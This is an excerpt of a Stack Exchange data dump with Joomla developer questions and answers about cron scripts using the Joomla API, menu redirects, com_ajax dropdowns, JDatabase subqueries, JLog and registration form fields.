  <row Id="13715" PostTypeId="2" ParentId="13714" CreationDate="2015-09-22T20:19:59.810" Score="0" Body="&lt;p&gt;Anchors are solved by browser and they are not received server side. Thus, Joomla does not receive anchors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your browser does not jump to the anchor, it may be an issue caused by a long page. Browsers only wait a certain amount of time to jump to the anchor (it depends on browser version)&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-09-22T20:19:59.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13716" PostTypeId="1" CreationDate="2015-09-22T21:23:38.203" Score="4" ViewCount="455" Body="&lt;p&gt;I am writing a cronjob (cron.php) which will have to run under the Joomla root folder which call Joomla functions like &lt;code&gt;JFactory::getDbo()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code in &lt;code&gt;cron.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', dirname(__FILE__) );&#xA;require( JPATH_BASE.'/libraries/import.php');&#xA;$db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;atal error: Class 'Joomla\Registry\Registry' not found in D:\x\htdocs\xxx\libraries\joomla\factory.php on line 558&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-09-23T10:23:40.493" Title="Standalone PHP calling Joomla APIs" Tags="|joomla-3.4|custom-component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13717" PostTypeId="1" CreationDate="2015-09-22T22:33:51.437" Score="2" ViewCount="1940" Body="&lt;p&gt;I have a configuration variable which a menu item type where admin can select a menu item. This is used to redirect the front end user if he doesn't have access to the view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the component controller file I do the access validation and now I want to redirect to the menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do the redirection to a particular menu item with proper Itemid?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="1629" LastEditDate="2015-09-23T22:58:49.880" LastActivityDate="2016-05-23T11:00:08.240" Title="Redirect to a menu item from controller" Tags="|joomla-3.4|menu-item|redirect|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13718" PostTypeId="2" ParentId="13716" CreationDate="2015-09-22T22:54:32.037" Score="5" Body="&lt;p&gt;Firstly, you're importing the wrong files which are required when using the Joomla API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then also need to initialise the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', dirname(__FILE__));&#xA;&#xA;require_once JPATH_BASE '/includes/defines.php';&#xA;require_once JPATH_BASE '/includes/framework.php';&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the actual cron job, I would suggest placing the PHP file in the &lt;strong&gt;CLI&lt;/strong&gt; directory rather than the root, as this is where they're supposed to go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at some of the files already in that directory to see how they're set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something I forgot to point out, If you would like to ensure your cron job is only executable via command line, you should add the following to the top of the PHP file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (PHP_SAPI !== 'cli')&#xA;{&#xA;    die('This is a command line only application.');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-09-23T10:23:40.493" LastActivityDate="2015-09-23T10:23:40.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13719" PostTypeId="1" AcceptedAnswerId="13721" CreationDate="2015-09-22T23:08:21.090" Score="3" ViewCount="1066" Body="&lt;p&gt;I am using rsform pro to show dropdown option values from joomla database. I have 2 dropdown boxes, A list all the category name and its id while B lists all the available k2 items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a jquery onchange function for A where it does an ajax request using joomla com_ajax, attached below are the codes. How can i use com_ajax to populate the B dropdown values based on the selection made on A ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgAjaxK2progitems extends JPlugin&#xA;{&#xA;function onAjaxK2progitems()&#xA;{&#xA;&#xA;    //$k2parid = (int) $_POST['id']; &amp;lt;- Old Method&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $k2parid = $input-&amp;gt;post-&amp;gt;get('id');&#xA;&#xA;    // Prepare the database connection&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    // Run the SQL query and store it in $results&#xA;    $query&#xA;        -&amp;gt;select($db-&amp;gt;quoteName(array('u.id', 'u.title', 'u.catid', 'um.name')))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__k2_items', 'u'))&#xA;        -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__k2_categories', 'um') . ' ON (' . $db-&amp;gt;quoteName('u.catid') . ' = ' . $db-&amp;gt;quoteName('um.id') . ')')&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('um.parent') .&quot; = &quot;.$db-&amp;gt;quote($k2parid))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('u.published') .&quot; = &quot;.$db-&amp;gt;quote('1'))&#xA;        -&amp;gt;order($db-&amp;gt;quoteName('u.id') . ' DESC');&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;&#xA;    return $results;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ajax call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function() {&#xA;        $(&quot;#dept&quot;).change(function() {&#xA;        var $department = $(this).val();&#xA;&#xA;&#xA;        $.ajax({&#xA;            type: &quot;POST&quot;,&#xA;            data: {id: $department},&#xA;            url: 'index.php?option=com_ajax&amp;amp;plugin=k2progitems&amp;amp;format=json',&#xA;            success: function(results) {&#xA;&#xA;                console.log(results);                        &#xA;&#xA;            }&#xA;        });&#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Console Log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Object { success: true, message: null, messages: null, data: Array[1] }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;New Console log &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array[1]&#xA;0: Array[3]&#xA; 0: Object&#xA;    catid: &quot;18&quot;&#xA;    id: &quot;9&quot;&#xA;    name: &quot;xxx&quot;&#xA;    title: &quot;yyy&quot;&#xA;    __proto__: Object&#xA; 1: Object&#xA;    catid: &quot;18&quot;&#xA;    id: &quot;10&quot;&#xA;    name: &quot;xxx&quot;&#xA;    title: &quot;yyy&quot;&#xA;    __proto__: Object&#xA; 2: Object&#xA;    catid: &quot;18&quot;&#xA;    id: &quot;11&quot;&#xA;    name: &quot;xxx&quot;&#xA;    title: &quot;yyy&quot;&#xA;   __proto__: Object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update Ajax Call - Working&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function() {&#xA;        $(&quot;#dept&quot;).change(function() {&#xA;        var $department = $(this).val();&#xA;&#xA;&#xA;        $.ajax({&#xA;            type: &quot;POST&quot;,&#xA;            data: {id: $department},&#xA;            url: 'index.php?option=com_ajax&amp;amp;plugin=k2progitems&amp;amp;format=json',&#xA;            success: function(results) {&#xA;&#xA;                //console.log(results.data) &amp;lt;- removed this as no longer needed&#xA;&#xA;               var $el = $(&quot;#progitems&quot;);&#xA;               var selectId = '#progitems';&#xA;                $el.empty(); // remove old options&#xA;                $el.append($(&quot;&amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&quot;)&#xA;                        .attr(&quot;value&quot;, '').text('Please Select Item'));&#xA;&#xA;                // Iterate through results - worked with results.data[0]&#xA;                $.each(results.data[0], function(key, value) {&#xA;                    if ($(selectId+' option[value=&quot;'+value.id+'&quot;]').length == 0) {&#xA;                        $(selectId).append($('&amp;lt;option/&amp;gt;').val(value.id).text(value.title+' - '+value.name));&#xA;&#xA;&#xA;                    }&#xA;                });&#xA;&#xA;&#xA;            }&#xA;        });&#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6937" LastEditorUserId="6937" LastEditDate="2015-09-23T14:45:27.710" LastActivityDate="2016-03-09T09:44:46.440" Title="Using com_ajax in a custom plugin to retrieve k2 items from database" Tags="|plugin|joomla-3.4|ajax|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13720" PostTypeId="2" ParentId="13717" CreationDate="2015-09-23T06:23:59.933" Score="2" Body="&lt;p&gt;I do it this way (providing you know the Itemid)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app    = JFactory::getApplication();&#xA;$menu   = $app-&amp;gt;getMenu();&#xA;&#xA;$item           = $menu-&amp;gt;getItem($Itemid);&#xA;$params         = $item-&amp;gt;params;&#xA;$return_menu_id = $params-&amp;gt;get('return_menu_id ');&#xA;$return_item    = $menu-&amp;gt;getItem($return_menu_id);  &#xA;$return_menu    = JRoute::_($return_item-&amp;gt;link.'&amp;amp;Itemid='.$return_item-&amp;gt;id);&#xA;$app-&amp;gt;redirect($return_menu);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this work for you too&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="371" LastEditDate="2015-09-23T15:12:04.983" LastActivityDate="2015-09-23T15:12:04.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13721" PostTypeId="2" ParentId="13719" CreationDate="2015-09-23T07:08:47.117" Score="2" Body="&lt;p&gt;You will need something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var selectId = '#dropdownB'; // ID of your dropdown B &#xA;var selected = ''; // Pass selected element here&#xA;&#xA;// Iterate through results&#xA;$.each(results.data, function(key, value) {&#xA;    if ($(selectId+' option[value=&quot;'+value.id+'&quot;]').length == 0) {&#xA;        $(selectId).append($('&amp;lt;option/&amp;gt;').val(value.id).text(value.title+' - '+value.name));&#xA;&#xA;        // Add selected property&#xA;        if (key == selected) {&#xA;            $(selectId+' option[value=&quot;'+value.id+'&quot;]').prop('selected', 'selected');&#xA;        }&#xA;    }&#xA;});&#xA;&#xA;// Update Chosen if Joomla's Bootstrap is used&#xA;$(selectId).trigger(&quot;liszt:updated&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-09-23T07:08:47.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13722" PostTypeId="2" ParentId="13716" CreationDate="2015-09-23T09:38:24.930" Score="0" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;define('_JEXEC', 1);&#xA;defined('DS') or define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA;    include_once __DIR__ . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;$app = JFactory::getApplication('site');&#xA;$admin = '';&#xA;if(!$app-&amp;gt;isSite()){&#xA;    $admin = DS.'administrator';//echo('in administrator');&#xA;}&#xA;$db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5623" LastActivityDate="2015-09-23T09:38:24.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13723" PostTypeId="2" ParentId="13714" CreationDate="2015-09-23T09:46:47.123" Score="0" Body="&lt;p&gt;Please read this how to add anchor key in joomla from this url (&lt;a href=&quot;http://www.cloudaccess.net/joomla-knowledgebase/96-joomla-3-1/article-manager/500-adding-anchors-joomla-3-0.html&quot; rel=&quot;nofollow&quot;&gt;http://www.cloudaccess.net/joomla-knowledgebase/96-joomla-3-1/article-manager/500-adding-anchors-joomla-3-0.html&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="5623" LastActivityDate="2015-09-23T09:46:47.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13724" PostTypeId="1" CreationDate="2015-09-23T12:16:44.853" Score="-1" ViewCount="1608" Body="&lt;p&gt;By default Joomla is showing the linked articles in content to the main page. How can I change it to some where else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OLD: &lt;a href=&quot;http://localhost/newjoomla/index.php/2-uncategorised&quot; rel=&quot;nofollow&quot;&gt;http://localhost/newjoomla/index.php/2-uncategorised&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NEW: &lt;a href=&quot;http://localhost/newjoomla/index.php/menu-2/2-uncategorised&quot; rel=&quot;nofollow&quot;&gt;http://localhost/newjoomla/index.php/menu-2/2-uncategorised&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6976" LastEditorUserId="126" LastEditDate="2015-09-26T05:17:12.203" LastActivityDate="2016-04-24T03:38:06.883" Title="How to change Joomla article link?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13725" PostTypeId="2" ParentId="13724" CreationDate="2015-09-23T12:46:22.710" Score="-1" Body="&lt;p&gt;Did you try change Menu item link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu &gt;&gt; item link with &quot;star&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is your Home page set. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-23T12:46:22.710" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13726" PostTypeId="1" AcceptedAnswerId="13736" CreationDate="2015-09-23T12:58:14.857" Score="0" ViewCount="545" Body="&lt;p&gt;We are trying to create Joomla menu item, which works fine on other live servers except my web server.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;We have to go to menu manager, and create menu and create menu item.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VCMZ6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VCMZ6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Then click select.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u2uyK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u2uyK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;We need to select Article so click on &amp;amp; select Single Article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/19nkG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/19nkG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After Selecting Single Article, this shows menu item type and link for selecting article but here it is not showing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bvJgf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bvJgf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly help me!!!&lt;/p&gt;&#xA;" OwnerUserId="6979" LastEditorUserId="3" LastEditDate="2015-09-23T13:25:05.603" LastActivityDate="2016-10-26T07:46:15.950" Title="Joomla menu item type issue" Tags="|menu-item|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13727" PostTypeId="1" AcceptedAnswerId="13813" CreationDate="2015-09-23T14:55:43.503" Score="5" ViewCount="613" Body="&lt;p&gt;I need to move the |Next/Prev* buttons, located in the &lt;strong&gt;pagenavigation&lt;/strong&gt; plugin to after the &lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;;&lt;/code&gt; &#xA;Basically render it anywhere in my templates' &lt;strong&gt;index.php&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to how I can achieve this?&lt;/p&gt;&#xA;" OwnerUserId="5399" LastEditorUserId="1629" LastEditDate="2015-09-23T16:43:44.600" LastActivityDate="2015-10-01T14:46:06.527" Title="PageNavigation Plugin" Tags="|joomla-3.x|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13735" PostTypeId="2" ParentId="13726" CreationDate="2015-09-24T04:53:31.077" Score="0" Body="&lt;p&gt;This process works fine on other live servers but not on your &lt;strong&gt;local installation&lt;/strong&gt; or your live web server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases, this to do with your server set-up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you need to make sure that it is running a compatible version of PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you need to look at the System Information on the version of the site that is working and on the one that is not working. This may give you more clues about set-up differences that are causing issue.&lt;/p&gt;&#xA;" OwnerUserId="5405" LastActivityDate="2015-09-24T04:53:31.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13736" PostTypeId="2" ParentId="13726" CreationDate="2015-09-24T05:36:10.527" Score="1" Body="&lt;p&gt;We have found solution from joomla forum &#xA;Thanks Everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=702182&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?t=702182&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6979" LastActivityDate="2015-09-24T05:36:10.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13738" PostTypeId="1" CreationDate="2015-09-24T07:59:23.290" Score="0" ViewCount="211" Body="&lt;p&gt;I have products table and brads table, i want show record from brands table whit product count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.*, &#xA;    (&#xA;       SELECT  COUNT(*)&#xA;       FROM    jos_products AS p&#xA;       WHERE   p.brand_id = a.id&#xA;    ) AS n&#xA;     FROM jos_brands AS a &#xA;ORDER BY a.name ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Resoult on MySQLManager is correct.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getListQuery()&#xA;{&#xA;    $db    = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select          ('a.*');&#xA;&#xA;            $query-&amp;gt;subQuery();&#xA;                $query-&amp;gt;select  ('COUNT(*)');&#xA;                $query-&amp;gt;from    ('#__products AS p');&#xA;                $query-&amp;gt;where   ('p.brand_id = a.id');&#xA;                $query-&amp;gt;as      ('n');&#xA;            $query-&amp;gt;endSubQuery();&#xA;&#xA;        $query-&amp;gt;from            ('#__brands AS a');&#xA;        $query-&amp;gt;oderby          ('a.name ASC');&#xA;&#xA;    return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error is &quot;Undefined property: stdClass::$n&quot; when i try to show the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  protected function getListQuery()&#xA;    {&#xA;        $db    = JFactory::getDbo();&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select          ('a.*');&#xA;&#xA;                $query-&amp;gt;subQuery();&#xA;                    $query-&amp;gt;select  ('COUNT(*) AS n');&#xA;                    $query-&amp;gt;from    ('#__products AS p');&#xA;                    $query-&amp;gt;where   ('p.brand_id = a.id');&#xA;                $query-&amp;gt;endSubQuery();&#xA;&#xA;            $query-&amp;gt;from            ('#__brands AS a');&#xA;            $query-&amp;gt;oderby          ('a.name ASC');&#xA;&#xA;        return $query;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But result not is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to implement my query?&lt;/p&gt;&#xA;" OwnerUserId="6986" LastActivityDate="2015-09-24T10:06:18.550" Title="JDatabase subQuery not work" Tags="|jdatabase|" AnswerCount="1" CommentCount="2" ClosedDate="2015-09-28T03:54:26.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="13739" PostTypeId="2" ParentId="13738" CreationDate="2015-09-24T10:06:18.550" Score="1" Body="&lt;p&gt;Besides that this does not look like Joomla API (see my comment under your question) I don't think that you need a subquery here. Just something like this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('a.*, COUNT(p.*) AS n');&#xA;    -&amp;gt;from('#__brands AS a, #__products AS p');&#xA;    -&amp;gt;where('p.brand_id = a.id');&#xA;    -&amp;gt;order('a.name ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise see here how to implement sub queries in Joomla:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/1/method-for-creating-a-subquery-using-jdatabase&quot;&gt;Method for creating a subquery using JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-09-24T10:06:18.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13741" PostTypeId="1" AcceptedAnswerId="13745" CreationDate="2015-09-24T11:46:39.797" Score="3" ViewCount="306" Body="&lt;p&gt;In my component controller, i have implemented JLog but this issue that i have is that the file log isn't created in directoy /logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the code of the controller that i'am using :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TdsmanagerControllerWebservice extends JControllerLegacy {&#xA;    public function update() {&#xA;       jimport('joomla.log.log');&#xA;&#xA;&#xA;        JLog::addLogger(&#xA;            array(&#xA;                'text_file' =&amp;gt; 'com_tdsmanager.webservice.' . date('Y-m-d') . 'log.php'&#xA;            ),&#xA;            JLog::ALL,&#xA;            array('com_tdsmanager')&#xA;        );&#xA;&#xA;        JLog::add(&#xA;           &quot;We are in update step&quot;, JLog::INFO, 'com_tdsmanager.webservice'&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do-you have an idea why JLog not working here ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2015-09-24T14:14:54.117" Title="Usage of JLog in a component controller" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13743" PostTypeId="1" AcceptedAnswerId="13769" CreationDate="2015-09-24T12:25:57.090" Score="0" ViewCount="196" Body="&lt;p&gt;I have created a multiple selection list in registeration form so on the registeration.xml i have pasted this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;groupMember&quot;&#xA;            type=&quot;list&quot;&#xA;            description=&quot;choose cybertechnos groups&quot;&#xA;            filter=&quot;username&quot;&#xA;            label=&quot;Choose Groups&quot;&#xA;            multiple =&quot;true&quot;&#xA;            &amp;gt;&#xA;&#xA; &amp;lt;option value =&quot;A&quot;&amp;gt;A&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value =&quot;B&quot;&amp;gt;B&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value =&quot;C&quot;&amp;gt;C&amp;lt;/option&amp;gt;&#xA;     &amp;lt;/field&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also defined its variable in the JUser user.php file like below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public $groupMember = null;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now user is able to register fine but the saved value displays only single text &quot;Array&quot; seems like there is nothing except Array coming from the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have var_dump the value on register function of com_users\models\registeration.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the values display like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&quot;groupMember&quot;]=&gt; string(5) &quot;Array&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;array(8) { [&quot;groupMember&quot;]=&gt; string(5) &quot;Array&quot; [&quot;name&quot;]=&gt; string(4)&#xA;  &quot;abcd&quot; [&quot;username&quot;]=&gt; string(4) &quot;abcd&quot;..............etc &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;seems like i am not getting any real array object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very new in joomla , Kindly help&lt;/p&gt;&#xA;" OwnerUserId="5846" LastEditorUserId="5846" LastEditDate="2015-09-26T10:49:34.327" LastActivityDate="2015-09-26T14:43:17.670" Title="Unable to post multiple selection custom listbox values from register form" Tags="|joomla-3.x|php|form-fields-types|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13744" PostTypeId="2" ParentId="13743" CreationDate="2015-09-24T13:24:19.083" Score="1" Body="&lt;p&gt;You're getting &lt;code&gt;Array&lt;/code&gt; because there are multiple, potential values as you're using the &lt;code&gt;multiple=&quot;&quot;&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use &lt;code&gt;var_dump($groupMember);&lt;/code&gt;, you'll see the values inside the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display the value, you will need to use a &lt;code&gt;foreach&lt;/code&gt; loop, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($groupMember as $group)&#xA;{&#xA;    echo $group . '&amp;lt;br&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-24T13:24:19.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13745" PostTypeId="2" ParentId="13741" CreationDate="2015-09-24T14:14:54.117" Score="3" Body="&lt;p&gt;It seems that the third parameter of &lt;code&gt;JLog::add()&lt;/code&gt; is wrong. This parameter is a category and you have set it to &lt;code&gt;'com_tdsmanager'&lt;/code&gt; in &lt;code&gt;JLog::addLogger()&lt;/code&gt;. So you should use the same in &lt;code&gt;JLog::add()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLog::add(&quot;We are in update step&quot;, JLog::INFO, 'com_tdsmanager');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the doc &lt;a href=&quot;https://docs.joomla.org/Using_JLog&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_JLog&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-09-24T14:14:54.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
